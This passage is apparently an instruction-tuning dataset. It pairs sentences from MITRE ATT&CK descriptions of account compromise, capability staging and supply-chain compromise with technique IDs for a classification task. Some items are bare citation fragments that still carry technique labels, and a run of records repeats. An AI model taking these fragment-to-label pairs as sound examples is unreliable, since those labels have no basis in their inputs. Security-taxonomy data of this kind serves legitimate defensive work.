an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise accounts with services that can be used during targeting.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise accounts with services that can be used during targeting. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For operations incorporating social engineering, the utilization of an online persona may be important.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For operations incorporating social engineering, the utilization of an online persona may be important. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation:", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AnonHBGary)(Citation: Microsoft DEV-0537)", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AnonHBGary)(Citation: Microsoft DEV-0537) ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.).", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise cloud accounts that can be used during targeting.", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise cloud accounts that can be used during targeting. ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s.", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure.", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation:", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MSTIC Nobelium Oct 2021)", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MSTIC Nobelium Oct 2021) ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021) ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise accounts with services that can be used during targeting.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise accounts with services that can be used during targeting. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For operations incorporating social engineering, the utilization of an online persona may be important.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For operations incorporating social engineering, the utilization of an online persona may be important. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation:", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AnonHBGary)(Citation: Microsoft DEV-0537)", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AnonHBGary)(Citation: Microsoft DEV-0537) ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.).", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise email accounts that can be used during targeting.", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise email accounts that can be used during targeting. ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns.", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona.", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation:", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AnonHBGary)(Citation: Microsoft DEV-0537)", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AnonHBGary)(Citation: Microsoft DEV-0537) ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules. ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use a compromised email account to hijack existing email threads with targets of interest.", "output": "T1586.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use a compromised email account to hijack existing email threads with targets of interest. ### Response: T1586.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proofpoint TA407 September 2019)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proofpoint TA407 September 2019) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DigiCert Install SSL Cert)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DigiCert Install SSL Cert) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting.", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content.", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation:", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos IPFS 2022)", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos IPFS 2022) ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub).", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.", "output": "T1608.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files. ### Response: T1608.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise.", "output": "T1195.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. ### Response: T1195.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Applications often depend on external software to function properly.", "output": "T1195.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Applications often depend on external software to function properly. ### Response: T1195.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)", "output": "T1195.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) ### Response: T1195.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.", "output": "T1195.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ### Response: T1195.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise.", "output": "T1195.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate 